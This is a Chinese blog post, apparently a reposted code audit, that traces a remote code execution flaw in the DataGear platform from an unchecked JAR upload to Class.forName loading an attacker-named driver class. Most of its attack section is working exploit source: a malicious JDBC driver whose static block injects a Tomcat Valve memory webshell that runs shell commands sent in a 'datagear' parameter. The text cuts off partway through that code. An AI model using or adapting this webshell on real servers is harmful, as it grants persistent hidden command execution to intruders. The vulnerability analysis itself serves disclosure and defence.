一次比赛坐牢造成的代码审计

admin 2026-04-21 01:07:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了DataGear平台严重的类加载RCE漏洞。系统上传JAR包的接口无任何校验,且测试连接接口直接调用Class.forName加载用户指定的驱动类。攻击者可构造包含TomcatValve内存马的恶意JAR包上传,随后触发类加载机制即可获取服务器权限。文章详细剖析了从上传到类加载触发的完整调用链并给出利用代码,建议相关资产方立即限制JAR上传功能或增加严格的驱动类白名单校验。 综合评分: 87 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全,实战经验


cover_image

一次比赛坐牢造成的代码审计

一寸灰 一寸灰

中二sec

2026年4月18日 10:53 北京

在小说阅读器读本章

去阅读

起因呢,是打腾讯Agent渗透在坐牢,然后随手找了个源码开始审。

只写感觉有意思的洞哈,其实还有个SSRF哈哈哈哈哈。

源码地址:https://gitcode.com/datageartech/datagear

1.类加载getshell

直接来看攻击链吧,这是一个上传jar包的接口。如果driverEntity存在就直接上传到他的目录,如果不存在则直接创建一个id然后根据id创建一个目录然后上传这个jar。没有做任何的校验。

publicMap<String,&nbsp;Object>uploadDriverFile(HttpServletRequestrequest,&nbsp;@RequestParam("id")&nbsp;Stringid,
@RequestParam("file")&nbsp;MultipartFilemultipartFile)&nbsp;throwsException
{
FileInfo[]&nbsp;fileInfos;
List<String>driverClassNames=newArrayList<>();

StringoriginalFilename=multipartFile.getOriginalFilename();

DriverEntitydriverEntity=this.driverEntityManager.get(id);

if&nbsp;(driverEntity!=null)
{
InputStreamin=multipartFile.getInputStream();

try
{
this.driverEntityManager.addDriverLibrary(driverEntity,&nbsp;originalFilename,&nbsp;in);
}
finally
{
IOUtil.close(in);
}

List<DriverLibraryInfo>driverLibraryInfos=this.driverEntityManager.getDriverLibraryInfos(driverEntity);
fileInfos=toFileInfos(driverLibraryInfos);
}
else
{
Filedirectory=getTempDriverLibraryDirectoryNotNull(id);
FiletempFile=getTempDriverLibraryFile(directory,&nbsp;originalFilename);

multipartFile.transferTo(tempFile);

resolveDriverClassNames(tempFile,&nbsp;driverClassNames);

fileInfos=FileUtil.getFileInfos(directory);
}

Map<String,&nbsp;Object>map=newHashMap<>();
map.put("fileInfos",&nbsp;fileInfos);
map.put("driverClassNames",&nbsp;driverClassNames);

returnmap;
}

既然能上传jar包,肯定要找能加载他的地方,然后刚好就找到了DtbsSourceController.testConnection,他能最后能用Class.forName去加载jar包。

@RequestMapping(value="/testConnection",&nbsp;produces=CONTENT_TYPE_JSON)
@ResponseBody
publicResponseEntity<OperationMessage>testConnection(HttpServletRequestrequest,&nbsp;HttpServletResponseresponse,
@RequestBodyDtbsSourceentity)&nbsp;throwsException
{
if&nbsp;(isBlank(entity.getTitle())&nbsp;||isBlank(entity.getUrl()))
thrownewIllegalInputException();

Useruser=getCurrentUser();

if&nbsp;(!this.dtbsSourceGuardService.isPermitted(user,&nbsp;newGuardEntity(entity)))
thrownewSaveDtbsSourcePermissionDeniedException();

// 用户选定驱动程序时
if&nbsp;(!isEmpty(entity.getDriverEntity())&nbsp;&&!isEmpty(entity.getDriverEntity().getId()))
{
DriverEntitydriverEntity=this.driverEntityManager.get(entity.getDriverEntity().getId());
entity.setDriverEntity(driverEntity);
}

Connectioncn=null;

try
{
cn=getDtbsSourceConnection(entity);//entity最后传到了这里
}
finally
{
JdbcUtil.closeConnection(cn);
}

returnoptSuccessDataResponseEntity(request,&nbsp;"dtbsSource.testConnection.ok");
}

entity,最后进入到AbstractDtbsSourceConnController.getDtbsSourceConnection

protectedConnectiongetDtbsSourceConnection(DtbsSourcedtbsSource)&nbsp;throwsConnectionSourceException
{
&nbsp; &nbsp;&nbsp;returnthis.dtbsSourceConnectionSupport.getDtbsSourceConnection(this.connectionSource,&nbsp;dtbsSource);
}

然后进入到DtbsSourceConnectionSupport.getDtbsSourceConnection,如果driverEntity不为空则调用connectionSource.getConnection

publicConnectiongetDtbsSourceConnection(ConnectionSourceconnectionSource,&nbsp;DtbsSourcedtbsSource)
&nbsp; &nbsp; &nbsp; &nbsp;throwsConnectionSourceException
{
&nbsp; &nbsp;&nbsp;Connectioncn=null;

&nbsp; &nbsp;&nbsp;Propertiesproperties=newProperties();

&nbsp; &nbsp;&nbsp;if(dtbsSource.hasProperty())
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;List<DtbsSourceProperty>dtbsSourceProperties=dtbsSource.getProperties();
&nbsp; &nbsp; &nbsp; &nbsp;for(DtbsSourcePropertysp&nbsp;:&nbsp;dtbsSourceProperties)
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringname=sp.getName();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringvalue=sp.getValue();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!StringUtil.isEmpty(name))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;properties.put(name, (value==null?""&nbsp;:&nbsp;value));
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;StringschemaName=dtbsSource.getSchemaName();
&nbsp; &nbsp;&nbsp;booleanemptySchemaName=StringUtil.isEmpty(schemaName);

&nbsp; &nbsp;&nbsp;// 必须添加此连接属性,不然会获取到其他数据库模式的连接
&nbsp; &nbsp;&nbsp;if&nbsp;(!emptySchemaName)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;properties.put(INTERNAL_SCHEMA_PROPERTY_NAME,&nbsp;schemaName);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;ConnectionOptionconnectionOption=ConnectionOption.valueOf(dtbsSource.getUrl(),&nbsp;dtbsSource.getUser(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dtbsSource.getPassword(),&nbsp;properties);

&nbsp; &nbsp;&nbsp;if&nbsp;(dtbsSource.hasDriverEntity())
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;DriverEntitydriverEntity=dtbsSource.getDriverEntity();
&nbsp; &nbsp; &nbsp; &nbsp;cn=connectionSource.getConnection(driverEntity,&nbsp;connectionOption);//如果driverEntity不为空,则调用。
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;cn=connectionSource.getConnection(connectionOption);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;if&nbsp;(!emptySchemaName)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;try
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cn.setSchema(dtbsSource.getSchemaName());
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp;catch&nbsp;(SQLExceptione)
&nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownewDataSourceException(e);
&nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;returncn;
}

然后我们进入到DefaultConnectionSource.getConnection,在这里会调用getDriver方法。

publicConnectiongetConnection(DriverEntitydriverEntity,&nbsp;ConnectionOptionconnectionOption)
&nbsp; &nbsp; &nbsp; &nbsp;throwsConnectionSourceException
{
&nbsp; &nbsp;&nbsp;Driverdriver=this.driverEntityManager.getDriver(driverEntity);

&nbsp; &nbsp;&nbsp;if&nbsp;(!acceptsURL(driver,&nbsp;connectionOption.getUrl()))
&nbsp; &nbsp; &nbsp; &nbsp;thrownewURLNotAcceptedException(driverEntity,&nbsp;connectionOption.getUrl());

&nbsp; &nbsp;&nbsp;returngetConnection(driver,&nbsp;connectionOption);
}

来到AbstractFileDriverEntityManager.getDriver,从 driverEntity.getDriverClassName() 取出驱动类名,传递给 PathDriverFactory.getDriver(driverClassName)

publicsynchronizedDrivergetDriver(DriverEntitydriverEntity)&nbsp;throwsDriverEntityManagerException
{
&nbsp; &nbsp;&nbsp;PathDriverFactoryInfopdfi=getLatestPathDriverFactoryInfoNonNull(driverEntity);
&nbsp; &nbsp;&nbsp;returnpdfi.getPathDriverFactory().getDriver(driverEntity.getDriverClassName());
}

然后就到达了sink点,在PathDriverFactory.getDriver,直接将驱动名传进来,然后类加载。

publicsynchronizedDrivergetDriver(StringdriverClassName)&nbsp;throwsPathDriverFactoryException
{
&nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;Class.forName(driverClassName,&nbsp;true,&nbsp;this.pathClassLoader);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(ClassNotFoundExceptione)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewDriverNotFoundException(this.path.getPath(),&nbsp;driverClassName,&nbsp;e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(ClassFormatErrore)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewDriverClassFormatErrorException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(Throwablet)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewPathDriverFactoryException(t);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;Driverdriver=&nbsp;(Driver)&nbsp;this.driverTool.getClass().getMethod("getDriver",&nbsp;String.class)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;.invoke(this.driverTool,&nbsp;driverClassName);

&nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(driver==null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownewPathDriverFactoryException(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"No Driver named ["+driverClassName+"] found in ["+this.path+"]");

&nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(LOGGER.isDebugEnabled())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LOGGER.debug("Get JDBC driver ["+driverClassName+"] in path ["+this.path+"]");

&nbsp; &nbsp; &nbsp; &nbsp;returndriver;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(IllegalArgumentExceptione)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewPathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(SecurityExceptione)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewPathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(IllegalAccessExceptione)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewPathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(InvocationTargetExceptione)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewPathDriverFactoryException(e);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(NoSuchMethodExceptione)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;thrownewPathDriverFactoryException(e);
&nbsp; &nbsp; }
}

利用思路

写一个Agent内存马,打成jar包,上传上去后直接就可以正常getshell了。

源码 (evil/EvilDriver.java)

packageevil;

importjava.io.*;
importjava.lang.reflect.*;
importjava.sql.*;
importjava.util.*;
importjava.util.logging.Logger;

publicclassEvilDriverimplementsDriver&nbsp;{

&nbsp; &nbsp;&nbsp;static&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Step 1: 获取 Tomcat StandardContext
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectcontextObj=getStandardContext();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(contextObj!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Step 2: 注入 Valve 内存马
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;injectValve(contextObj);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Step 3: 注册为合法 JDBC Driver(避免报错)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DriverManager.registerDriver(newEvilDriver());
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exceptione) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;/**
&nbsp; &nbsp; &nbsp;* 通过反射链获取 Tomcat StandardContext
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* 反射链路:
&nbsp; &nbsp; &nbsp;* Thread.currentThread().getContextClassLoader()
&nbsp; &nbsp; &nbsp;* &nbsp; -> WebappClassLoaderBase
&nbsp; &nbsp; &nbsp;* &nbsp; &nbsp; -> .resources (StandardRoot)
&nbsp; &nbsp; &nbsp;* &nbsp; &nbsp; &nbsp; -> .getContext() -> StandardContext
&nbsp; &nbsp; &nbsp;*/
&nbsp; &nbsp;&nbsp;privatestaticObjectgetStandardContext()&nbsp;throwsException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Method 1: WebappClassLoader -> resources -> context
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassLoadercl=Thread.currentThread().getContextClassLoader();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FieldresourcesField=null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class<?>c=cl.getClass();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(c!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resourcesField=c.getDeclaredField("resources");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoSuchFieldExceptione) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;c=c.getSuperclass();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(resourcesField!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;resourcesField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectresources=resourcesField.get(cl);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetContext=resources.getClass().getMethod("getContext");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returngetContext.invoke(resources);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exceptione) {}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Method 2: Spring RequestContextHolder -> Request -> ServletContext
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class<?>rch=Class.forName(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"org.springframework.web.context.request.RequestContextHolder");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetAttr=rch.getMethod("getRequestAttributes");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectattrs=getAttr.invoke(null);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(attrs!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetRequest=attrs.getClass().getMethod("getRequest");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectrequest=getRequest.invoke(attrs);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetSC=request.getClass().getMethod("getServletContext");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectservletContext=getSC.invoke(request);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ApplicationContextFacade -> ApplicationContext -> StandardContext
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FieldappCtxField=servletContext.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getDeclaredField("context");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;appCtxField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectappCtx=appCtxField.get(servletContext);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FieldstdCtxField=appCtx.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getDeclaredField("context");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;stdCtxField.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnstdCtxField.get(appCtx);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exceptione) {}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;/**
&nbsp; &nbsp; &nbsp;* 注入 Tomcat Valve 内存马
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* Valve 在 Tomcat Pipeline 的最底层执行,
&nbsp; &nbsp; &nbsp;* 拦截所有经过该 Context 的 HTTP 请求。
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* 注入链路:
&nbsp; &nbsp; &nbsp;* StandardContext.getPipeline() -> StandardPipeline
&nbsp; &nbsp; &nbsp;* &nbsp; -> addValve(恶意 Valve)
&nbsp; &nbsp; &nbsp;* &nbsp; &nbsp; -> 恶意 Valve 检查请求参数
&nbsp; &nbsp; &nbsp;* &nbsp; &nbsp; &nbsp; -> 有 magic 参数 → 执行命令返回结果
&nbsp; &nbsp; &nbsp;* &nbsp; &nbsp; &nbsp; -> 无 magic 参数 → 传递给下一个 Valve(正常处理)
&nbsp; &nbsp; &nbsp;*/
&nbsp; &nbsp;&nbsp;privatestaticvoidinjectValve(ObjectstandardContext)&nbsp;throwsException&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetPipeline=standardContext.getClass().getMethod("getPipeline");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectpipeline=getPipeline.invoke(standardContext);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ClassLoadertcl=standardContext.getClass().getClassLoader();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class<?>valveClass=tcl.loadClass("org.apache.catalina.Valve");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 使用动态代理创建 Valve 实例
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectvalve=Proxy.newProxyInstance(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;tcl,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newClass<?>[]{valveClass},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newInvocationHandler() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;privateObjectnext=null;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;publicObjectinvoke(Objectproxy,&nbsp;Methodmethod,&nbsp;Object[]&nbsp;args)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throwsThrowable&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;StringmethodName=method.getName();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 拦截 invoke(Request, Response) 调用
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("invoke".equals(methodName)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&&args!=null&&args.length==2) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectrequest=args[0];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectresponse=args[1];

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetParam=request.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("getParameter",&nbsp;String.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 检查 magic 参数
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringcmd=&nbsp;(String)&nbsp;getParam
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .invoke(request,&nbsp;"datagear");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(cmd!=null&&!cmd.isEmpty()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行系统命令
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Stringos=System.getProperty("os.name")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .toLowerCase();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String[]&nbsp;cmds;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(os.contains("win")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cmds=newString[]{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"cmd.exe",&nbsp;"/c",&nbsp;cmd};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cmds=newString[]{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/bin/bash",&nbsp;"-c",&nbsp;cmd};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Processp=Runtime.getRuntime().exec(cmds);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InputStreamis=p.getInputStream();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ByteArrayOutputStreambaos=
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newByteArrayOutputStream();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[]&nbsp;buf=newbyte[4096];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;intlen;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;((len=is.read(buf))&nbsp;!=-1) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;baos.write(buf,&nbsp;0,&nbsp;len);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
